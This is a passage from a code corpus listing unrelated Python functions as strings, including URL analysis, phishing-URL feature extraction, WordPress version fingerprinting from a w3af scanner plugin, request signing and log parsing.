protostem...\n continuations = collections.defaultdict(list)\n for word in word_counts.keys():\n for protostem in protostems:\n if word.startswith(protostem):\n continuations[protostem].append(word[len(protostem):])\n\n # Find all stems associated with each continuation list...\n protostem_lists = collections.defaultdict(set)\n for protostem, continuation in continuations.items():\n protostem_lists[tuple(sorted(continuation))].add(protostem)\n\n # Signatures are continuation lists with more than 1 stem...\n signatures = collections.defaultdict(set)\n parasignatures = dict()\n for continuations, protostems in protostem_lists.items():\n container = signatures if len(protostems) > 1 else parasignatures\n container[continuations] = protostems\n\n # Get list of known suffixes from signatures...\n known_suffixes = set()\n for suffixes in signatures:\n known_suffixes = known_suffixes.union(suffixes)\n\n # Second generation tentative signatures are parasignatures stripped\n # from unknown suffixes and having at least 2 continuations...\n tentative_signatures = collections.defaultdict(set)\n for continuations, protostems in parasignatures.items():\n good_conts = sorted(c for c in continuations if c in known_suffixes)\n if len(good_conts) > 1:\n tentative_signatures[tuple(good_conts)].add(next(iter(protostems)))\n\n # Add those tentative signatures which occur with at least 2 stems...\n single_stem_sigs = collections.defaultdict(set)\n for continuations, protostems in tentative_signatures.items():\n container = signatures if len(protostems) > 1 else single_stem_sigs\n container[continuations] = container[continuations].union(protostems)\n\n # Add each stem in remaining tentative signatures to the existing\n # signature that contains the largest number of its continuations...\n sorted_signatures = sorted(signatures, key=len, reverse=True)\n for continuations, protostems in single_stem_sigs.items():\n continuation_set = set(continuations)\n for suffixes in sorted_signatures:\n if set(suffixes).issubset(continuation_set):\n signatures[suffixes].add(next(iter(protostems)))\n break\n\n # Get list of known stems from signatures...\n known_stems = set()\n for stems in signatures.values():\n known_stems = known_stems.union(stems)\n\n return signatures, stems, suffixes","def summarize(url: str, check_rate_limit: bool = True) -> Dict[str, Any]:\n try:\n split_url = urlsplit(url)\n if 'github.com' in split_url.hostname:\n return github_issue(url, check_rate_limit)\n elif 'stackoverflow.com' in split_url.hostname:\n return stackoverflow_question(url, check_rate_limit)\n except Exception:\n pass\n\n return {}","def calculate_client_signature(self):\n # NB: do not check for self.user_agent, because it can be empty.\n if self.ip_address and self.path_qs:\n resource = self.path_qs\n user_agent = self.user_agent\n key_max_size = 250\n\n # At least 40 characters are allocated to the resource part.\n res_min_size = 40\n res_max_size = key_max_size - len(self.ip_address) - len(\n resource) - 2\n\n if res_max_size < res_min_size:\n res_max_size = res_min_size\n\n if len(resource) > res_max_size:\n resource = resource[:res_max_size]\n\n # The remaining length is available for the User Agent part\n ua_max_size = (\n key_max_size - len(self.ip_address) - len(resource) - 2)\n if len(user_agent) > ua_max_size:\n user_agent = user_agent[:ua_max_size]\n\n key = \"%s#%s#%s\" % (self.ip_address, user_agent, resource)\n\n return key\n return ''","def analysis_summary(bucket_url, replay):\n\n logger = logging.getLogger(\"SimpleReplayLogger\")\n\n bucket = bucket_dict(bucket_url)\n logger.info(f\"Simple Replay Workload Analysis: {replay}\")\n replay_path = f'analysis/{replay}/out/'\n output_str = f\"\\nBelow is the presigned URLs for the analysis performed for replay: {replay}. \" \\\n f\"Click or copy/paste the link into your browser to download.\"\n r_url = create_presigned_url(bucket.get('bucket_name'), f'{replay_path}{replay}_report.pdf')\n output_str += f\"\\n\\nReplay Analysis Report | Click to Download:\\n{r_url}\\n\"\n logger.info(output_str)","def main():\n inputs = []\n files = set()\n\n args = parseArguments()\n\n # Configure the stdout logger\n logging.basicConfig(format=\"%(filename)s: %(levelname)s: %(message)s\",\n level=logging.DEBUG)\n\n try:\n # Create a list of input format objects\n for gcsv in args.gcsv.split():\n inputs.append(GoogleCSV(gcsv))\n for plain in args.plain.split():\n inputs.append(Plain(plain))\n\n # Get the URLs\n urls = mergeURLS(inputs)\n\n # Get the files\n for dir in args.dirs.split():\n files = files.union(formatFiles(dir, args.utc, args.ext))\n\n # Search for matches\n redirects = fuzzySearch(urls, files, args.matches, args.cutoff)\n\n except Exception as e:\n logging.error(e)\n\n if args.output == \"csv\":\n out = CSV(redirects, args.subdomain)\n elif args.output == \"rack\":\n out = Rack(redirects, args.subdomain)\n else:\n out = OutputFormat(redirects, args.subdomain)\n\n print(out)","def analyze(url):\n\n #Note : Using the function to count repeated words and sorted by value\n\n print('\\n\\nVisiting',url)\n print('The most 25 common word')\n print('\\n{:30} {:6}\\n'.format('Word','Count'))\n\n content = urlopen(url).read().decode()\n collector = Collector(url)\n collector.feed(content)\n urls = collector.getLinks()\n\n words_lst = collector.getdata()\n print(words_lst)\n # word_count = Counter(words_lst) # use collection\n # most_25_common = word_count.most_common(25) #\n\n word_count = frequency(words_lst)\n sorted_word_count = sorted(word_count.items(), key = lambda x : x[1],reverse= True)\n\n for word,count in sorted_word_count[:25]:\n print ('{:30}{:5}'.format(word,count))\n\n #return word_count\n\n # for word,count in most_25_common:\n # print('{:30} {:5}'.format(word,count))\n # return urls","def split2_urls_in_url(url):\n list_good = split1_urls_in_url(url)[0]\n if len(list_good) > 1:\n list_to_return = []\n for elt in list_good:\n list_to_return += loop_on_good_url(elt)\n return \"Directyl found\", list_to_return\n else:\n return class_frequencies(url)","def getFeatures(url, label, w):\r\n result = []\r\n url = str(url)\r\n \r\n #add the url to feature set\r\n result.append(url)\r\n \r\n #parse the URL and extract the domain information\r\n path = urlparse(url)\r\n ext = tldextract.extract(url)\r\n \r\n #counting number of dots in subdomain \r\n result.append(countdots(ext.subdomain))\r\n \r\n #checking hyphen in domain \r\n result.append(CountSoftHyphen(path.netloc))\r\n \r\n #length of URL \r\n result.append(length(url))\r\n \r\n #checking @ in the url \r\n result.append(CountAt(path.netloc))\r\n \r\n #checking presence of double slash \r\n result.append(CountDSlash(path.path))\r\n \r\n #Count number of subdir \r\n result.append(countSubDir(path.path))\r\n \r\n #number of sub domain \r\n result.append(countSubDomain(ext.subdomain))\r\n \r\n #length of domain name \r\n path2 = urlparse(url_format(url))\r\n result.append(len(path2.netloc))\r\n \r\n #count number of queries \r\n result.append(len(path.query))\r\n \r\n #Adding domain information\r\n \r\n #if IP address is being used as a URL \r\n result.append(containsip(ext.domain))\r\n \r\n #presence of Suspicious_TLD\r\n result.append(1 if ext.suffix in Suspicious_TLD else 0)\r\n \r\n #Get domain information by asking whois\r\n avg_month_time=365.2425/12.0\r\n \r\n #calculate creation age in months\r\n \r\n if w.creation_date == None or type(w.creation_date) is str :\r\n result.append(-1)\r\n \r\n else:\r\n if(type(w.creation_date) is list): \r\n create_date=w.creation_date[-1]\r\n else:\r\n create_date=w.creation_date\r\n\r\n if(type(create_date) is datetime.datetime):\r\n today_date=datetime.datetime.now()\r\n create_age_in_mon=((today_date - create_date).days)/avg_month_time\r\n create_age_in_mon=round(create_age_in_mon)\r\n result.append(create_age_in_mon)\r\n \r\n else:\r\n result.append(-1)\r\n \r\n #calculate expiry age in months\r\n \r\n if(w.expiration_date==None or type(w.expiration_date) is str):\r\n result.append(-1)\r\n else:\r\n if(type(w.expiration_date) is list):\r\n expiry_date=w.expiration_date[-1]\r\n else:\r\n expiry_date=w.expiration_date\r\n if(type(expiry_date) is datetime.datetime):\r\n today_date=datetime.datetime.now()\r\n expiry_age_in_mon=((expiry_date - today_date).days)/avg_month_time\r\n expiry_age_in_mon=round(expiry_age_in_mon)\r\n\r\n # appending in months Appended to the Vector\r\n result.append(expiry_age_in_mon)\r\n else:\r\n # expiry date error so append -1\r\n result.append(-1)\r\n\r\n #find the age of last update\r\n \r\n if(w.updated_date==None or type(w.updated_date) is str):\r\n result.append(-1)\r\n else:\r\n if(type(w.updated_date) is list):\r\n update_date=w.updated_date[-1]\r\n else:\r\n update_date=w.updated_date\r\n if(type(update_date) is datetime.datetime):\r\n today_date=datetime.datetime.now()\r\n update_age_in_days=((today_date - update_date).days)\r\n result.append(update_age_in_days)\r\n # appending updated age in days\r\n else:\r\n result.append(-1)\r\n\r\n \r\n #find the country that is hosting this domain\r\n if(w.country == None):\r\n result.append(\"None\")\r\n else:\r\n if isinstance(w.country,str):\r\n result.append(w['country'])\r\n else:\r\n result.append(w['country'][0])\r\n if get_ext(path.path) == '':\r\n result.append(\"None\")\r\n else:\r\n result.append(get_ext(path.path))\r\n result.append(str(label))\r\n return result","def count_domains(urls, screen_name, domains):\n\n def add_domain_to_dict(domains, domain_string):\n \"\"\" helper function\"\"\"\n domain = urlparse(unquote(domain_string)).netloc.replace('www.', '')\n domain = domain.split(':')[0]\n try:\n new_domain = get_domain(domain)\n except ValueError:\n with open('erroneous_domains.txt', 'a') as f:\n f.write(domain)\n return domains\n\n if not domains.get(new_domain):\n domains[new_domain] = {}\n domains[new_domain].get(screen_name, {})\n domains[new_domain][screen_name] = domains[new_domain].get(screen_name, 0) + 1\n\n for u in urls:\n long_url = 'http://api.longurl.org/v2/expand'\n params = {'url': u, 'format': 'json'}\n\n r = do_a_request(long_url, params)\n if r is None:\n continue\n \n json = simplejson.loads(r.text)\n r.close()\n if json.has_key('long-url'):\n domain = get_domain(urlparse(u).netloc.replace('www.', ''))\n if json['long-url'] and domain not in json['long-url']:\n add_domain_to_dict(domains, json['long-url'])\n continue\n if json.has_key('messages') and json['messages'] and \\\n json['messages'][0]['message'] == 'Input is oversize: NOT_SHORTURL.':\n add_domain_to_dict(domains, u)\n else:\n request = do_a_request(u)\n if request is None:\n continue\n \n if request.status_code == 200:\n add_domain_to_dict(domains, request.url)\n else:\n with open('log.txt', 'a') as f:\n f.write(u + ',' + screen_name + '\\n')\n request.close()\n\n return domains","def _fingerprint_wordpress(self, domain_path, wp_unique_url, response):\n self._fingerprint_meta(domain_path, wp_unique_url, response)\n self._fingerprint_data(domain_path, wp_unique_url, response)\n self._fingerprint_readme(domain_path, wp_unique_url, response)\n self._fingerprint_installer(domain_path, wp_unique_url, response)","def stats(input, output, dictshare, format_in, format_out, verbose, zipfile, checkdates):\n if verbose:\n enableVerbose()\n options = {}\n options['output'] = output\n options['dictshare'] = dictshare\n options['zipfile'] = zipfile\n options['format_in'] = format_in\n options['format_out'] = format_out\n options['checkdates'] = checkdates\n options['verbose'] = verbose\n acmd = Analyzer(nodates=not checkdates)\n acmd.analyze(input, options)\n pass","def compute_signature(msg):\n hashkey = memcache.Client().get('CURL_TEST_SERVER_HASHKEY')\n h = hmac.new(hashkey, msg, hashlib.sha1)\n signature = urllib.quote(base64.b64encode(h.digest()))\n return signature","def get_synset_stats(\n synsets_to_urls: Dict[str, List[str]]\n) -> Dict[str, Any]:\n stats = {}\n for synset in synsets_to_urls:\n urls = synsets_to_urls[synset]\n n_urls = len(urls)\n n_flickr_urls = 0\n for url in urls:\n if url.find('flickr') != -1:\n n_flickr_urls += 1\n stats[synset] = {\"n_urls\": n_urls, \"n_flickr_urls\": n_flickr_urls}\n return stats","def main(filepath, maskpath):\n analytics.result = {}\n img_mask = nib.load(maskpath).get_fdata()\n print(\"loading\\n\", flush=True)\n # segmentation\n print(\"loading segmentation...\\n\", flush=True)\n seg = nib.load(filepath).get_fdata()\n # post processing\n print(\"applying some post processing...\\n\", flush=True)\n seg = apply_mask(seg, img_mask)\n seg_2d = binarize(seg, img_mask)\n print(\"End of slice processing\\n\", flush=True) \n distance_map, skel = analytics.distance(seg_2d)\n print(\"distance\\n\", flush=True)\n dist_per_label , skel= analytics.label_value(distance_map, skel)\n print(\"label_value\\n\", flush=True) \n analytics.get_analytics(seg, img_mask, dist_per_label, skel, verbose=True)\n print(\"got analytics\\n\", flush=True)","def stats(self):\n stats = {\n 'lines' : '', # This will count the lines under each split\n 'status_code': self.status_code,\n 'content_type': self.mime,\n 'hop': self.hop_path[-1:],\n 'sum:content_length': self.content_length,\n 'host': self.host(),\n 'source': self.source\n }\n # Add in annotations:\n for annot in self.annotations:\n # Set a prefix based on what it is:\n prefix = ''\n if self.re_tries.match(annot):\n prefix = 'tries:'\n elif self.re_ip.match(annot):\n prefix = \"ip:\"\n # Only emit lines with annotations:\n if annot != \"-\":\n stats[\"%s%s\" % (prefix, annot)] = \"\"\n return stats","def _file_stats(file_path, enforce_fastx=True):\n if isinstance(file_path, tuple):\n assert len(file_path) == 2\n file_size = sum(_file_size(f, uncompressed=True) for f in file_path)\n file_path = interleaved_filename(file_path)\n paired = True\n else:\n file_size = _file_size(file_path, uncompressed=False)\n paired = False\n\n new_filename, ext = os.path.splitext(os.path.basename(file_path))\n\n if ext in {\".gz\", \".gzip\", \".bz\", \".bz2\", \".bzip\"}:\n compressed = ext\n new_filename, ext = os.path.splitext(new_filename)\n else:\n compressed = \"\"\n\n # strip compressed extension if paired-end, since we're going to upload uncompressed\n if paired and compressed:\n final_filename = new_filename + ext\n else:\n final_filename = new_filename + ext + compressed\n\n if enforce_fastx:\n if ext in {\".fa\", \".fna\", \".fasta\"}:\n file_format = \"fasta\"\n elif ext in {\".fq\", \".fastq\"}:\n file_format = \"fastq\"\n else:\n raise UploadException(\n \"{}: extension must be one of .fa, .fna, .fasta, .fq, .fastq\".format(final_filename)\n )\n else:\n file_format = None\n\n if file_size == 0:\n raise UploadException(\"{}: empty files can not be uploaded\".format(final_filename))\n\n return final_filename, file_size, file_format","def new_values(basenames):\n result = {}\n for basename in basenames:\n home = os.environ['HOME']\n p = os.path.join(home, basename)\n if not os.path.isfile(p):\n continue\n size = '%d' % p.size\n mtime = '%0.8f' % p.mtime\n result[basename] = Signature(mtime, size, text_digest(p.text()))\n return pad_keys(result, basenames)","def pr(size, analys) -> 'html':\n c = get_client()\n fileName = ''\n store(size)\n cursor = c.find({ 'size' : size })\n listF = []\n add = 0\n for line in cursor:\n fileName = line['file']\n for f in line['files']:\n if isinstance(f, dict):\n for k ,v in f.items():\n strin = k + ' (' + str(v) + ') '\n add += 1\n else:\n strin += str(f)\n add += 1\n if add == 2:\n listF.append(strin)\n add = 0\n \n listOrder = []\n listOrder.append('A-Z')\n listOrder.append('Occurance')\n if analys == 'Analysed first time':\n return render_analysis('mainResult.html',analys,fileName,listF,listOrder)\n else:\n return render_analysis('reprint.html',analys,fileName,listF,listOrder)","def summarize(path: str) -> dict:\n results = parse_bactopia_directory(path)","def _fingerprint_meta(self, domain_path, wp_unique_url, response):\n # Main scan URL passed from w3af + wp index page\n wp_index_url = domain_path.url_join('index.php')\n response = self._uri_opener.GET(wp_index_url, cache=True)\n\n # Find the string in the response html\n find = '<meta name=\"generator\" content=\"[Ww]ord[Pp]ress (\\d\\.\\d\\.?\\d?)\" />'\n m = re.search(find, response.get_body())\n\n # If string found, group version\n if m:\n version = m.group(1)\n\n # Save it to the kb!\n desc = 'WordPress version \"%s\" found in the index header.'\n desc = desc % version\n\n i = Info('Fingerprinted Wordpress version', desc, response.id,\n self.get_name())\n i.set_url(wp_index_url)\n \n kb.kb.append(self, 'info', i)\n om.out.information(i.get_desc())","def sign_url(path, expiration, account_email, keytext,\n verb='GET', content_type='', content_md5=''):\n private_key = RSA.importKey(keytext)\n if not path.startswith('/'):\n path = '/'+path\n base_url = '%s%s' % (GCS_API_ENDPOINT, path)\n string_to_sign = SIGNATURE_STRING.format(verb=verb,\n content_md5=content_md5,\n content_type=content_type,\n expiration=expiration,\n resource=path)\n print(\"string to sign:\", string_to_sign)\n signature_signed = base64sign(string_to_sign, private_key)\n query_params = {'GoogleAccessId': account_email,\n 'Expires': str(expiration),\n 'Signature': signature_signed}\n return base_url+'?'+urllib.parse.urlencode(query_params)","def _fingerprint_data(self, domain_path, wp_unique_url, response):\n for wp_fingerprint in self._get_wp_fingerprints():\n \n # The URL in the XML is relative AND it has two different variables\n # that we need to replace:\n # $wp-content$ -> wp-content/\n # $wp-plugins$ -> wp-content/plugins/\n path = wp_fingerprint.filepath\n path = path.replace('$wp-content$', 'wp-content/')\n path = path.replace('$wp-plugins$', 'wp-content/plugins/')\n test_url = domain_path.url_join(path)\n \n response = self._uri_opener.GET(test_url, cache=True)\n\n response_hash = hashlib.md5(response.get_body()).hexdigest()\n\n if response_hash == wp_fingerprint.hash:\n version = wp_fingerprint.version\n\n # Save it to the kb!\n desc = 'WordPress version \"%s\" fingerprinted by matching known md5'\\\n ' hashes to HTTP responses of static resources available at'\\\n ' the remote WordPress install.'\n desc = desc % version\n i = Info('Fingerprinted Wordpress version', desc, response.id,\n self.get_name())\n i.set_url(test_url)\n \n kb.kb.append(self, 'info', i)\n om.out.information(i.get_desc())\n \n break","def GraphSigVsSize(data, args):\n p = data[args]['sigsize']\n vers = sorted(p)\n sizes = sorted(p[vers[0]])\n for ver in vers:\n sigs = [p[ver][size]/size for size in sizes]\n plt.plot(sizes, sigs, label=ver)\n ax = plt.gca()\n ax.set_xlim(left=0, right=1024)\n #plt.xscale('log')\n #plt.yscale('log')\n saveplt('data/file-size-%s-%s.svg' % (args,'sig'), 'sigsize vs filesize for %s' % args,\n 'filesize', 'ratio', sizeticks)","def analyze_urls(filename, topic):\n # Initialize an empty list. Note that I store my urls and references\n # in a sort of strange way. Each element in result_list is a list of two\n # elements, the first element being the url, and the second element\n # being a list of all the references to the url\n result_list = []\n\n # Using the with...as construct to open the file in read mode\n with open(filename, \"r\", encoding=\"utf-8\") as files:\n # Iterate over each line (each is a url)\n for line in files:\n # Use the try ... except construct\n try:\n # Try to open each url\n with urllib.request.urlopen(line) as url_file:\n # Read the page\n page = url_file.read()\n # Decode the page\n decoded_page = page.decode(\"UTF-8\")\n # Regex expression to find the places which open\n # with a > then have some stuff, then the topic, then\n # close with a <\n pattern = fr\">[^<]*\\b{topic}\\b.*?<\"\n\n # Use the findall method from re to find all of the\n # occurrences of pattern in decoded_page as a list\n # The flags are IGNORECASE and DOTALL\n my_list = re.findall(pattern, decoded_page,\n re.IGNORECASE | re.DOTALL)\n\n # If my_list is not empty\n if my_list:\n # Slice off the the closing and opening angle\n # brackets using a list comprehension\n new_list = [word[1:-1] for word in my_list]\n # Append a new list of two elements to result_list,\n # where the first element of the list is the url,\n # and the second element of the list is the list of\n # references\n result_list.append([line, new_list])\n # One possible error is the urllib.error.URLError\n except urllib.error.URLError as url_err: # Catch the error\n # Print a message, url, and the error\n print(\"Error opening url:\", line, url_err)\n # Another possible error is the UnicodeDecodeError\n except UnicodeDecodeError as dec_err: # Catch the error\n # Print a message, and url\n print(\"Error decoding url:\", line)\n # Print the error\n print(dec_err)\n # Except all other errors\n except:\n pass\n # Return the result_list\n return result_list","def main():\n\n ## Deal with incoming.\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument('-w', '--walk',\n help='Combined report JSON file')\n parser.add_argument('-r', '--remote',\n help='The remote server to map onto')\n parser.add_argument('-o', '--output',\n help='The file to dump the JSON output to')\n parser.add_argument('-v', '--verbose', action='store_true',\n help='More verbose output')\n args = parser.parse_args()\n\n if args.verbose:\n LOG.setLevel(logging.INFO)\n LOG.info('Verbose: on')\n\n ## Ensure directory.\n if not args.walk:\n die_screaming('need a \"walk\" argument')\n LOG.info('Will walk directory: ' + args.walk)\n ## Ensure URL.\n if not args.remote:\n die_screaming('need \"remote\" argument')\n LOG.info('Will map unto URL: ' + args.remote)\n ## Ensure output file.\n if not args.output:\n die_screaming('need an output file argument')\n LOG.info('Will output to: ' + args.output)\n\n ## Walk tree.\n lookup = [];\n for curr_dir, dirs, files in os.walk(args.walk):\n\n ## We can navigate up if we are not in the root.\n relative_to_start = curr_dir.rstrip('//')[len(args.walk):]\n relative_to_start = relative_to_start.lstrip('//')\n LOG.info('curr_dir: ' + curr_dir + ' (' + relative_to_start + ')')\n\n ## Note files and directories.\n for fname in files:\n\n ## Figure out S3 path/key and final filename, keeping in\n ## mind that relative_to_Start can be empty if root.\n webpath = fname\n if relative_to_start:\n webpath = relative_to_start + '/' + fname\n filename = os.path.join(curr_dir, fname)\n\n size = os.path.getsize(filename)\n md5sum = hashlib.md5(open(filename, 'rb').read()).hexdigest()\n\n ## Visual check.\n LOG.info('file: '+ filename + ' -> [' + args.remote + '] / ' + webpath + '; ' + str(size) + ', ' + md5sum)\n\n lookup.append({\n 'url': args.remote + '/' + webpath,\n 'length': str(size),\n 'filename': webpath,\n 'md5': md5sum\n })\n\n ## Final writeout.\n output = json.dumps(lookup, sort_keys=True, indent=4)\n with open(args.output, 'w+') as fhandle:\n fhandle.write(output)\n LOG.info(output)","def checkurlsbasic(urlstxt, protocolstxt, mdtype):\n # urlstxt consists of a list of urls, split by ;\n # for each url, check if it has been resolvable by inspecting the HTTP\n # code added to the URL\n score = 2\n if len(urlstxt) > 3: # TODO: take into account that starts with \" (HTTP \" as well, so longer url is needed\n # start with an empty score if there are urls\n score = 0\n urls = urlstxt.split(valuesep) # TODO: make configurable?\n errors = 0\n nrurls = 0\n for u in urls:\n if u != None:\n try:\n # u starts with \" (HTTP 0)\", so must be longer than\n if len(u) > 2 and u != \" (HTTP 0)\":\n # TODO: assume http 2xx, 3xx and 5xx-series (all!) are the only okay HTTP codes?\n # Or use others as well? Or just the start mubers, so 204 is also included\n # for 400-series: HTTP 400 should be okay, since this means that the client sent a wrong request (but the service still exists / works there, e.g. TMS)\n # TODO: use a list of HTTP codes that are okay.\n # Configurable\n nrurls = nrurls + 1\n if u.find(\"(HTTP 2\") == -1 and u.find(\"(HTTP 3\") == -1 and u.find(\"(HTTP 5\") == -1 and u.find(\"(HTTP 400\") == -1 and u.find(\"(HTTP 403\") == -1 and u.find(\"(HTTP intern)\") == -1:\n errors = errors + 1\n except Exception as e:\n logging.info(\"Checking URLs failed for: \" + u)\n logging.debug(str(e))\n errors = errors + 1\n if mdtype == \"dataset\" or mdtype == \"series\":\n if errors == 0:\n score = 2\n # if we don't have urls, but the service type contains OGC: .. , download or website, then we have an error\n # TODO: document\n if (protocolstxt.find(\"OGC:\") > -1 or protocolstxt.find(\"download\") > -1 or protocolstxt.find(\"website\") > -1) and nrurls == 0:\n score = 0\n # checkid = 6, so the index in the matrix is: 5\n result = checksdatasets[5][2][score]\n else:\n # there must be a URL as well, so check this\n if errors > 0 or nrurls == 0:\n score = 0\n else:\n score = 2\n result = checksservices[5][2][score]\n return MkmScore(urlstxt, score, result)","def parse_url(url):\n results = NotifyBase.parse_url(url, verify_host=False)\n if not results:\n # We're done early as we couldn't load the results\n return results\n\n # Store our access code\n access_token = NotifyStreamlabs.unquote(results['host'])\n results['access_token'] = access_token\n\n # call\n if 'call' in results['qsd'] and results['qsd']['call']:\n results['call'] = NotifyStreamlabs.unquote(\n results['qsd']['call'].strip().upper())\n # donation - amount\n if 'amount' in results['qsd'] and results['qsd']['amount']:\n results['amount'] = NotifyStreamlabs.unquote(\n results['qsd']['amount'])\n # donation - currency\n if 'currency' in results['qsd'] and results['qsd']['currency']:\n results['currency'] = NotifyStreamlabs.unquote(\n results['qsd']['currency'].strip().upper())\n # donation - name\n if 'name' in results['qsd'] and results['qsd']['name']:\n results['name'] = NotifyStreamlabs.unquote(\n results['qsd']['name'].strip().upper())\n # donation - identifier\n if 'identifier' in results['qsd'] and results['qsd']['identifier']:\n results['identifier'] = NotifyStreamlabs.unquote(\n results['qsd']['identifier'].strip().upper())\n # alert - alert_type\n if 'alert_type' in results['qsd'] and results['qsd']['alert_type']:\n results['alert_type'] = NotifyStreamlabs.unquote(\n results['qsd']['alert_type'])\n # alert - image_href\n if 'image_href' in results['qsd'] and results['qsd']['image_href']:\n results['image_href'] = NotifyStreamlabs.unquote(\n results['qsd']['image_href'])\n # alert - sound_href\n if 'sound_href' in results['qsd'] and results['qsd']['sound_href']:\n results['sound_href'] = NotifyStreamlabs.unquote(\n results['qsd']['sound_href'].strip().upper())\n # alert - duration\n if 'duration' in results['qsd'] and results['qsd']['duration']:\n results['duration'] = NotifyStreamlabs.unquote(\n results['qsd']['duration'].strip().upper())\n # alert - special_text_color\n if 'special_text_color' in results['qsd'] \\\n and results['qsd']['special_text_color']:\n results['special_text_color'] = NotifyStreamlabs.unquote(\n results['qsd']['special_text_color'].strip().upper())\n\n return results","def by_domains(self):\n\t\t\n\t\t# TODO: use urllib instead\n\t\turl_format = r'^\\s*(?:(?P<protocol>\\w+)://)?(?P<domain>[\\w\\d\\-\\.]+)(?::(?P<port>\\d+))?/?(?P<everything_else>.*)$'\n\t\tsites = {}\n\t\tfor line in self.source.lines:\n\t\t\ttry:\n\t\t\t\tif self.filter(line):\n\t\t\t\t\tresult = re.match(url_format, line.content.url)\n\t\t\t\t\tif result.group('domain') not in sites.keys():\n\t\t\t\t\t\tsites[result.group('domain')] = 0\n\t\t\t\t\tsites[result.group('domain')] += int(line.content.size)\n\t\t\texcept AttributeError:\n\t\t\t\tpass\n\t\t\n\t\t# TODO: sort; convert to lists is even better\n\t\t\n\t\treturn sites","def calculate_signature(self, request_date, host, endpoint, params, headers, method, payload=\"\", time=time):\n\n algorithm = params['SignatureMethod']\n\n canonical_request = self.get_canonical_string(request_date, host, endpoint, params, headers, method, payload)\n string_to_sign = self.get_string_to_sign(algorithm, request_date, canonical_request)\n\n request_date_simple = request_date[:8]\n\n digestmod = hashlib.sha256\n kdate = hmac.new(('AWS4' + self._secret_key).encode(), request_date_simple.encode(), digestmod).digest()\n kregion = hmac.new(kdate, self._region.encode(), digestmod).digest()\n kservice = hmac.new(kregion, self._service.encode(), digestmod).digest()\n ksigning = hmac.new(kservice, self._request_scope.encode(), digestmod).digest()\n\n signature = hmac.new(ksigning, string_to_sign.encode(), digestmod).digest()\n\n return binascii.hexlify(signature)","def gen_parse_log(file_info, fails_percent):\n logging.info(\"parsing log %s started\", file_info.path)\n url_time_re = re.compile(r'.*?(?:GET|POST)\\s+(.*?)\\s+.*?(\\d+\\.\\d*)(?:$|\\n|\\r)')\n log_file = open(file_info.path, \"r\") if not file_info.ext else gzip.open(file_info.path, \"r\")\n\n fails = 0\n count = 0\n urls = {}\n all_time = 0\n\n for log_line in log_file:\n if not isinstance(log_line, str):\n log_line = log_line.decode()\n count += 1\n match = url_time_re.match(log_line)\n if match:\n if match.group(1).strip() in urls:\n urls[match.group(1).strip()].append(float(match.group(2)))\n else:\n urls[match.group(1).strip()] = [float(match.group(2))]\n all_time += float(match.group(2))\n else:\n fails += 1\n\n MAIN_LOGGER.info(\"%f fails\", round(fails / count * 100, 2))\n\n if (fails / count * 100) > float(fails_percent):\n MAIN_LOGGER.error(\"can not parse file\")\n return None\n\n log_file.close()\n res_list = []\n for url in urls:\n entries = urls[url]\n res_list.append(\n {\"url\": url,\n \"count\": len(entries),\n \"entries\": entries,\n \"time_sum\": round(sum(entries), 3),\n }\n )\n\n sorted_res = list(sorted(res_list, key=lambda string: string[\"time_sum\"], reverse=True))\n for log_line in sorted_res:\n len_line = len(log_line['entries'])\n sum_line = sum(log_line['entries'])\n log_line[\"count_perc\"] = round(float(len_line) / float(count) * 100, 3)\n log_line[\"time_avg\"] = round(float(sum_line) / float(len_line), 3)\n log_line[\"time_max\"] = round(max(log_line['entries']), 3)\n log_line[\"time_med\"] = round(median(log_line['entries']), 3)\n log_line[\"time_perc\"] = round(float(sum_line) / float(all_time) * 100, 3)\n del log_line['entries']\n yield log_line","def checkSite(url, strings, output):\n\n domain = getDomainName(url)\n otherLinks = list()\n txt = \"\\n=================================\\n\"\n txt += \"Domain: \" + domain + \"\\n\"\n txt += \"=================================\\n\"\n linksViewed = set()\n dStrings = dict()\n imgs = set([])\n links = set([url])\n forbidden = [\".ogg\", \".tex\", \".pdf\", \".mp3\", \"mp4\", \".ods\", \".xls\", \".xlsx\",\\\n \".doc\", \".docx\", \".zip\", \".tar\", \".gz\", \".ggb\", \".cls\", \".sty\", \".avi\", \".flv\"\\\n \".mkv\", \".srt\"]\n #While we have not check all URL\n while links - linksViewed != set([]):\n #Check all links (not already viewed) for this page\n for link in links - linksViewed:\n #If the domains are the same, the extension is not forbidden\n if getDomainName(link) == domain and getExtension(link) not in forbidden:\n print \"Checking on \" + link + \"...\\n\"\n dStringst, linkst, imgst = checkPage(link, strings)\n txt += link + \":\\n\"\n for key, value in dStringst.items():\n txt += \"\\t\" + key + \" -> \" + str(value) + \"\\n\"\n txt += \"\\n\"\n #Clear list of forbidden extentions\n tmp = list()\n for l in linkst:\n if getDomainName(l) == domain and getExtension(l) not in forbidden:\n tmp.append(l)\n #If the extension is allowed but the link is on an other domain\n elif getDomainName(l) != domain and getExtension(l) not in forbidden:\n otherLinks.append(l)\n linkst = set(tmp)\n links = links | linkst\n imgs = imgs | imgst\n #Update link count\n for key, value in dStringst.items():\n dStrings[key] = dStrings[key] + value if key in dStrings.keys() else 0\n\n linksViewed = linksViewed | set([link])\n\n links = set(links)\n imgs = set(imgs)\n\n #Export/print after each website, in order to do not lost all if user\n #stops the program with Ctrl+C\n if len(output) > 0:\n export(output, txt)\n else:\n print txt\n return txt, set(otherLinks), linksViewed","def get_download_info(files):\n file_paths = [] # the files we need to check\n file_count = 0 # count of each file in files\n total_size = 0\n\n all_product_types = []\n for ring_obs_id in files:\n for product_type in files[ring_obs_id]:\n for f in files[ring_obs_id][product_type]:\n\n all_product_types.append(product_type)\n\n if product_type != 'preview_image':\n # this is a pds file not a browse product\n # collect the urls.. we will process these at the end\n file_paths += [f for f in files[ring_obs_id][product_type]] # list of all urls\n\n elif product_type == 'preview_image':\n # the file size of each preview images on disc is checked here\n # todo: OMG WHY WHAT\n # todo: get the file sizes into database instead = process like pds files and remove this whole section!\n\n from results.views import get_base_path_previews\n try:\n size = getsize(f)\n total_size += size\n file_count = file_count + 1\n except OSError:\n log.error('could not find file: ' + f)\n\n all_product_types = list(set(all_product_types)) # make unique\n # now we have all pds file_names, put all file names in a list and get their count\n if file_paths:\n\n file_names = list(set([ get_file_path(u) for u in file_paths]))\n file_count += len(file_names)\n\n # query database for the sum of all file_names size fields\n file_sizes = FileSizes.objects.filter(name__in=file_names, PRODUCT_TYPE__in=all_product_types).values('name','size','volume_id').distinct()\n total_size += sum([f['size'] for f in file_sizes]) # todo: this is here b/c django was not happy mixing aggregate+distinct\n\n return total_size, 